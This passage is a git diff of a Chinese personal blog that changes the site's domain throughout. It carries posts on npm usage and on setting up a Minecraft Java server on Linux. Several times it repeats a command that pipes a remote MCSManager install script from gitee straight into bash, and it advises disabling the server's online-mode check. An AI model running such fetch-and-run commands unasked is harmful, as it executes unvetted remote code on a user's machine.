install都得到相同的node_modules</p><p>package-lock.json保存其生成的依赖树是一致的，而package.json只能得到自己安装的依赖，但是其依赖的子依赖并没有记录，子依赖可能会发生改变或者更新了版本，从而导致其依赖树不一致</p><p>package-lock.json中的xxxdependencies</p><p>dependencies表示项目依赖（会自动下载），devDependencies表示开发依赖（不会自动下载），peerDependencies表示同版本依赖（父依赖，宿主依赖），bundledDependencies表示捆绑依赖，optionalDependencies表示可选依赖</p><p>注意：peerDependencies指定的依赖会进行安装，在引用这个依赖时，会先引用宿主依赖，bundledDependencies中指定的依赖，需要先在dependencies和devDependencies声明过，否则会报错，optionalDependencies中指定的依赖哪怕安装失败了，也不会导致安装失败</p><p>peerDependencies其中的依赖就是好吧antd依赖于react和react-dom一样，是宿主依赖，表示你安装我时，最好安装这些依赖</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/node.js/>node.js</a></li><li><a href=https://xiaochenabc123.github.io/tags/npm/>npm</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/33/><span class=title>« Prev</span><br><span>Linux环境下简单搭建Minecraft服务器（java版）</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/30/><span class=title>Next »</span><br><span>Git版本管理系统学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>npm config set init-module ~.npm-init.js</p><p>npm link（方便本地开发包，以及调试测试，假设npmModulea目录是一个包项目目录）</p><p>先进入包项目目录（npmModulea目录），执行npm link，执行该命令会让npmModulea包被链接到全局node_modules目录中（软链接）</p><p>在包项目目录（npmModulea目录）执行npm link npmModulea，该命令可以让npmModulea包链接到当前项目的node_modules目录中</p><p>npx可以直接执行node_modules目录的.bin目录下的文件，还可以在执行命令时自动检查命令是否存在</p><p>而且npx在执行模块时，会优先安装模块的依赖，在执行之后会删除这些依赖，避免全局安装模块带了的问题</p><p>部署私有npm镜像，nexus（java环境），verdaccio（Python环境），cnpm（node环境）</p><p>cnpm私有npm镜像仓库：https://github.com/cnpm/cnpmjs.org</p><p>简化依赖树，npm dedupe，避免几个包依赖另一个同版本包时，存在多个依赖的情况（yarn会自动执行该命令，自动扁平化依赖树）</p><p>npm ci要求项目存在package-lock.json或者npm-shrinkwrap.json，而且npm ci比npm install安装更严格，其完全根据package-lock.json安装依赖（安装依赖时不会修改package-lock.json和package.json），当package-lock.json中的依赖于package.json不一致时，报错退出并且不会修改package-lock.json</p><p>注意：package-lock.json和npm-shrinkwrap.json同时存在项目目录时，package-lock.json会被忽略</p><p>npm ci安装依赖前，会先删除原来项目的node_modules文件夹，然后全新安装，而且是一次安装项目的全部依赖，不能安装单个依赖，所以其不需要去校验已下载依赖版本与控制版本的关系，也不用校验是否存在最新版本的库，下载的速度会更快</p><p>package-lock.json可以优化依赖的安装速度，package-lock.json已经保存了每个包的具体版本和下载链接，不需要再向远程仓库进行查询，获取到依赖后可直接进入文件完整性校验环节（integrity）</p><p>而且package-lock.json可以锁定其依赖结构，保证执行npm install都得到相同的node_modules</p><p>package-lock.json保存其生成的依赖树是一致的，而package.json只能得到自己安装的依赖，但是其依赖的子依赖并没有记录，子依赖可能会发生改变或者更新了版本，从而导致其依赖树不一致</p><p>package-lock.json中的xxxdependencies</p><p>dependencies表示项目依赖（会自动下载），devDependencies表示开发依赖（不会自动下载），peerDependencies表示同版本依赖（父依赖，宿主依赖），bundledDependencies表示捆绑依赖，optionalDependencies表示可选依赖</p><p>注意：peerDependencies指定的依赖会进行安装，在引用这个依赖时，会先引用宿主依赖，bundledDependencies中指定的依赖，需要先在dependencies和devDependencies声明过，否则会报错，optionalDependencies中指定的依赖哪怕安装失败了，也不会导致安装失败</p><p>peerDependencies其中的依赖就是好吧antd依赖于react和react-dom一样，是宿主依赖，表示你安装我时，最好安装这些依赖</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/node.js/>node.js</a></li><li><a href=https://chenjunlinabc.github.io/tags/npm/>npm</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/33/><span class=title>« Prev</span><br><span>Linux环境下简单搭建Minecraft服务器（java版）</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/30/><span class=title>Next »</span><br><span>Git版本管理系统学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/33/index.html b/posts/33/index.html
index b7927ec9..3f0f1025 100644
--- a/posts/33/index.html
+++ b/posts/33/index.html
@@ -26,8 +26,8 @@
 在服务端目录，找到server.properties文件
 修改这个文件，把onlinemode 改为 false
 MCSManager面板
-wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/33/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Linux环境下简单搭建Minecraft服务器（java版）"><meta property="og:description" content="服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
+wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/33/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Linux环境下简单搭建Minecraft服务器（java版）"><meta property="og:description" content="服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
 检测java是否安装成功
@@ -55,7 +55,7 @@
 在服务端目录，找到server.properties文件
 修改这个文件，把onlinemode 改为 false
 MCSManager面板
-wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/33/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T15:46:00+00:00"><meta property="article:modified_time" content="2021-06-16T15:46:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Linux环境下简单搭建Minecraft服务器（java版）"><meta name=twitter:description content="服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
+wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/33/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T15:46:00+00:00"><meta property="article:modified_time" content="2021-06-16T15:46:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Linux环境下简单搭建Minecraft服务器（java版）"><meta name=twitter:description content="服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
 检测java是否安装成功
@@ -83,8 +83,8 @@
 在服务端目录，找到server.properties文件
 修改这个文件，把onlinemode 改为 false
 MCSManager面板
-wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Linux环境下简单搭建Minecraft服务器（java版）","item":"https://xiaochenabc123.github.io/posts/33/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Linux环境下简单搭建Minecraft服务器（java版）","name":"Linux环境下简单搭建Minecraft服务器（java版）","description":"服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed\n安装java\ndnf install java-openjdk\n检测java是否安装成功\njava -version\n新建一个目录\nmkdir hallomc\ncd hallomc\n下载第三方mc服务器\nwget -c https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar\n这是1.16.5的版本，服务器版本和客户端版本要一致\n历史版本https://papermc.io/legacy\n运行mc服务器\njava -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar\nXmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存\n一般来说第一次运行都是运行不了，因为没有同意协议\n进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器\n24小时运行mc服务端\n一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行\ndnf install screen # 安装screen\nscreen -S mcserver # 创建一个新“终端”，名称自定义\nscreen -R mcserver # 进入这个新“终端”\n如果想退出，可以使用ctrl+a+d\n可以使用screen -ls 命令来查看所有“终端”\n关闭正版验证\n在服务端目录，找到server.properties文件\n修改这个文件，把onlinemode 改为 false\nMCSManager面板\nwget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash","keywords":["server"],"articleBody":"服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed\n安装java\ndnf install java-openjdk\n检测java是否安装成功\njava -version\n新建一个目录\nmkdir hallomc\ncd hallomc\n下载第三方mc服务器\nwget -c https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar\n这是1.16.5的版本，服务器版本和客户端版本要一致\n历史版本https://papermc.io/legacy\n运行mc服务器\njava -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar\nXmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存\n一般来说第一次运行都是运行不了，因为没有同意协议\n进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器\n24小时运行mc服务端\n一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行\ndnf install screen # 安装screen\nscreen -S mcserver # 创建一个新“终端”，名称自定义\nscreen -R mcserver # 进入这个新“终端”\n如果想退出，可以使用ctrl+a+d\n可以使用screen -ls 命令来查看所有“终端”\n关闭正版验证\n在服务端目录，找到server.properties文件\n修改这个文件，把onlinemode 改为 false\nMCSManager面板\nwget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash\n","wordCount":"62","inLanguage":"en","datePublished":"2021-06-16T15:46:00Z","dateModified":"2021-06-16T15:46:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/33/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Linux环境下简单搭建Minecraft服务器（java版）</h1><div class=post-meta><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Linux%e7%8e%af%e5%a2%83%e4%b8%8b%e7%ae%80%e5%8d%95%e6%90%ad%e5%bb%baMinecraft%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%88java%e7%89%88%ef%bc%89.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed</p><p>安装java</p><p>dnf install java-openjdk</p><p>检测java是否安装成功</p><p>java -version</p><p>新建一个目录</p><p>mkdir hallomc</p><p>cd hallomc</p><p>下载第三方mc服务器</p><p>wget -c <a href=https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar>https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar</a></p><p>这是1.16.5的版本，服务器版本和客户端版本要一致</p><p>历史版本https://papermc.io/legacy</p><p>运行mc服务器</p><p>java -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar</p><p>Xmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存</p><p>一般来说第一次运行都是运行不了，因为没有同意协议</p><p>进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器</p><p>24小时运行mc服务端</p><p>一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行</p><p>dnf install screen # 安装screen</p><p>screen -S mcserver # 创建一个新“终端”，名称自定义</p><p>screen -R mcserver # 进入这个新“终端”</p><p>如果想退出，可以使用ctrl+a+d</p><p>可以使用screen -ls 命令来查看所有“终端”</p><p>关闭正版验证</p><p>在服务端目录，找到server.properties文件</p><p>修改这个文件，把onlinemode 改为 false</p><hr><p>MCSManager面板</p><p>wget -qO- <a href=https://gitee.com/mcsmanager/script/raw/master/setup.sh>https://gitee.com/mcsmanager/script/raw/master/setup.sh</a> | bash</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/server/>server</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/34/><span class=title>« Prev</span><br><span>Nginx服务器的一些简单配置</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/31/><span class=title>Next »</span><br><span>node.js包管理工具npm的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Linux环境下简单搭建Minecraft服务器（java版）","item":"https://chenjunlinabc.github.io/posts/33/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Linux环境下简单搭建Minecraft服务器（java版）","name":"Linux环境下简单搭建Minecraft服务器（java版）","description":"服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed\n安装java\ndnf install java-openjdk\n检测java是否安装成功\njava -version\n新建一个目录\nmkdir hallomc\ncd hallomc\n下载第三方mc服务器\nwget -c https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar\n这是1.16.5的版本，服务器版本和客户端版本要一致\n历史版本https://papermc.io/legacy\n运行mc服务器\njava -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar\nXmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存\n一般来说第一次运行都是运行不了，因为没有同意协议\n进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器\n24小时运行mc服务端\n一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行\ndnf install screen # 安装screen\nscreen -S mcserver # 创建一个新“终端”，名称自定义\nscreen -R mcserver # 进入这个新“终端”\n如果想退出，可以使用ctrl+a+d\n可以使用screen -ls 命令来查看所有“终端”\n关闭正版验证\n在服务端目录，找到server.properties文件\n修改这个文件，把onlinemode 改为 false\nMCSManager面板\nwget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash","keywords":["server"],"articleBody":"服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed\n安装java\ndnf install java-openjdk\n检测java是否安装成功\njava -version\n新建一个目录\nmkdir hallomc\ncd hallomc\n下载第三方mc服务器\nwget -c https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar\n这是1.16.5的版本，服务器版本和客户端版本要一致\n历史版本https://papermc.io/legacy\n运行mc服务器\njava -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar\nXmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存\n一般来说第一次运行都是运行不了，因为没有同意协议\n进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器\n24小时运行mc服务端\n一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行\ndnf install screen # 安装screen\nscreen -S mcserver # 创建一个新“终端”，名称自定义\nscreen -R mcserver # 进入这个新“终端”\n如果想退出，可以使用ctrl+a+d\n可以使用screen -ls 命令来查看所有“终端”\n关闭正版验证\n在服务端目录，找到server.properties文件\n修改这个文件，把onlinemode 改为 false\nMCSManager面板\nwget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash\n","wordCount":"62","inLanguage":"en","datePublished":"2021-06-16T15:46:00Z","dateModified":"2021-06-16T15:46:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/33/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Linux环境下简单搭建Minecraft服务器（java版）</h1><div class=post-meta><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Linux%e7%8e%af%e5%a2%83%e4%b8%8b%e7%ae%80%e5%8d%95%e6%90%ad%e5%bb%baMinecraft%e6%9c%8d%e5%8a%a1%e5%99%a8%ef%bc%88java%e7%89%88%ef%bc%89.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed</p><p>安装java</p><p>dnf install java-openjdk</p><p>检测java是否安装成功</p><p>java -version</p><p>新建一个目录</p><p>mkdir hallomc</p><p>cd hallomc</p><p>下载第三方mc服务器</p><p>wget -c <a href=https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar>https://papermc.io/api/v2/projects/paper/versions/1.16.5/builds/553/downloads/paper-1.16.5-553.jar</a></p><p>这是1.16.5的版本，服务器版本和客户端版本要一致</p><p>历史版本https://papermc.io/legacy</p><p>运行mc服务器</p><p>java -Xmx1024M -Xms512M -jar paper-1.16.5-553.jar</p><p>Xmx 代表服务器启动所占的最大运行内存，Xms代表服务器正常运行的最大内存</p><p>一般来说第一次运行都是运行不了，因为没有同意协议</p><p>进入mc目录下，nano eula.txt，把eula=false改成eula=true，然后再运行mc服务器</p><p>24小时运行mc服务端</p><p>一般来说退出ssh登录，就会终止运行mc服务端，可以通过简单建立个“虚拟终端”，来24小时运行</p><p>dnf install 